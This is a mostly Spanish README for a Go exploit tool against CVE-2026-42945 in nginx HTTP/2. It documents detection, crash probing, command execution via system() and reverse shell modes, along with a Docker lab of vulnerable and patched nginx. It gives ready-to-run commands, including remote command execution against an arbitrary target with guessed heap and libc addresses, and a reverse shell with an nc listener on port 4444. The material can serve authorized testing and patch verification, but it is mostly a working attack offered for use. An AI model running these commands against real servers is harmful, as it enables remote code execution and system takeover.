
Herramienta de explotación basada en Go para CVE-2026-42945 (nginx HTTP/2) con capacidades de detección, sondeo de fallos, ejecución de comandos y shell inversa para pruebas de seguridad autorizadas.
Chino | English
Herramienta auxiliar de detección y explotación para la implementación HTTP/2 de nginx (CVE-2026-42945), utilizada para verificar si la vulnerabilidad existe en entornos autorizados, comparar los efectos de la corrección y reproducir el comportamiento del PoC en un entorno de laboratorio controlado.
Versiones afectadas (estimación): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ corregidas.
Este repositorio es únicamente para investigación de seguridad, verificación de vulnerabilidades y pruebas defensivas.
Si no aceptas los términos anteriores, deja de usar inmediatamente y elimina este repositorio.
| Modo | Descripción |
|---|---|
-check-only | Conectividad, cabecera Server, estimación de versión, detección de endpoints PoC |
-probe-crash | Envía una ronda de sonda de desbordamiento, determina mediante canal lateral de caída del worker |
-cmd | Construye carga útil de exploit, ejecuta comando especificado mediante system() |
-shell | Reverse shell (requiere -lhost, la máquina local necesita nc) |
-docker | Prueba masiva del entorno experimental local Docker (vuln / fixed) |
go.mod)make, golangci-lint (desarrollo/verificación de código)GET /api/, POST /spray, etc.); las imágenes Docker experimentales ya los incluyen| Elemento | Descripción |
|---|---|
| Protocolo | Solo soporta HTTP plano (net.Dial + bytes HTTP sin procesar), no soporta HTTPS/TLS. Para puertos TLS como -port 443, se necesita terminación TLS previa o usar un puerto HTTP. |
| Experimento Docker | La imagen es linux/amd64, la primera compilación con docker compose build necesita compilar nginx desde el código fuente, tarda bastante; dentro del contenedor se usa setarch -R para desactivar ASLR, difiere mucho del entorno de producción. |
| Apple Silicon | Docker local se ejecuta mediante emulación platform: linux/amd64, es más lento. |
| Reverse shell | -shell depende de nc del sistema, en Windows se recomienda escuchar manualmente. |
| Determinación de explotación | El canal lateral (caída del worker) no equivale a RCE, se debe verificar de forma independiente los efectos secundarios del comando. |
# 快速构建(输出到 bin/,已被 .gitignore 忽略)
make build-cmd
# 或直接使用 go
go build -o ./bin/cve-2026-42945 ./cmd
# 查看嵌入版本
./bin/cve-2026-42945 -version
Binarios de versión: Descargue cve-2026-42945-<os>-<arch> para su plataforma desde Releases (construido automáticamente por GitHub Actions después de etiquetar v*).
-target string Objetivo IP/nombre de host (por defecto 127.0.0.1)
-port int Puerto objetivo (0=80; Docker versión vulnerable usa comúnmente 19321)
-docker Probar entorno experimental local Docker (vuln:19321, fixed:19331)
-check-only Solo sondear, no enviar tráfico de exploit
-probe-crash Sonda de desbordamiento + canal lateral de caída del worker
-cmd string Comando a ejecutar mediante system()
-shell Reverse shell (requiere -lhost)
-lhost string IP local para reverse shell
-lport int Puerto local para reverse shell (por defecto 4444)
-docker-profile Usar medidas de heap/libc del entorno deploy/docker real
-heap-base string Dirección base del heap (hexadecimal, ej. 0x555555659000)
-libc-base string Dirección base de libc (hexadecimal)
-tries int Intentos por candidato de heap (por defecto 10)
-timeout int Timeout HTTP por solicitud en segundos (por defecto 5)
-v Salida detallada
-version Mostrar versión y salir
El modo
-dockerno puede usarse junto con-cmd/-shell; para explotación de un solo objetivo, especifique-port 19321.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
Inicie primero los contenedores experimentales:
make docker-up
# o
docker compose -f deploy/docker-compose.yml up -d --build
La primera compilación necesita compilar nginx, puede tardar varios minutos; ejecute
make test-labsolo después de que los servicios endocker compose psesténhealthy.
| Servicio | Puerto | Descripción |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (afectado) |
| fixed | 19331 | nginx 1.30.1 (corregido) |
Sondeo masivo:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
O use los atajos de Makefile:
make test-lab # check + probe
make cmd-exploit # Escribe /tmp/pwned en vuln y muestra comando de verificación
El contenedor experimental tiene mayor tasa de éxito cuando ASLR está desactivado (setarch -R) y se usan direcciones base preestablecidas con -docker-profile:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# Verificar si el archivo se escribió
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# Terminal 1: Iniciar la herramienta (intenta escuchar con nc en segundo plano)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# Si no encuentra nc, abra otro terminal y escuche manualmente:
nc -lvnp 4444
Cuando el ASLR del objetivo real, la versión de libc no coinciden con Docker, debe filtrar o adivinar las direcciones base usted mismo:
# El objetivo debe ser un puerto HTTP plano (no TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] Canal lateral: worker anómalo: Solo indica que el worker pudo haber caído por desbordamiento, no es base suficiente para considerar RCE exitoso.docker exec, etc.).cmd/ Entrada principal del programa
internal/rift/ Lógica de detección, construcción de payload y explotación
deploy/docker/ Imágenes experimentales nginx 1.30.0 / 1.30.1
deploy/docker-compose.yml
.github/workflows/ Compilación multi-plataforma para Releases
make help # Ver todos los objetivos make
make test # Pruebas unitarias
make lint # golangci-lint
make version # Mostrar número de versión actual de compilación
Publicar nueva versión:
git tag v1.0.0
git push origin v1.0.0
Usa esta herramienta solo en sistemas que tengas autorización para probar. Cualquier uso indebido no es responsabilidad de los autores.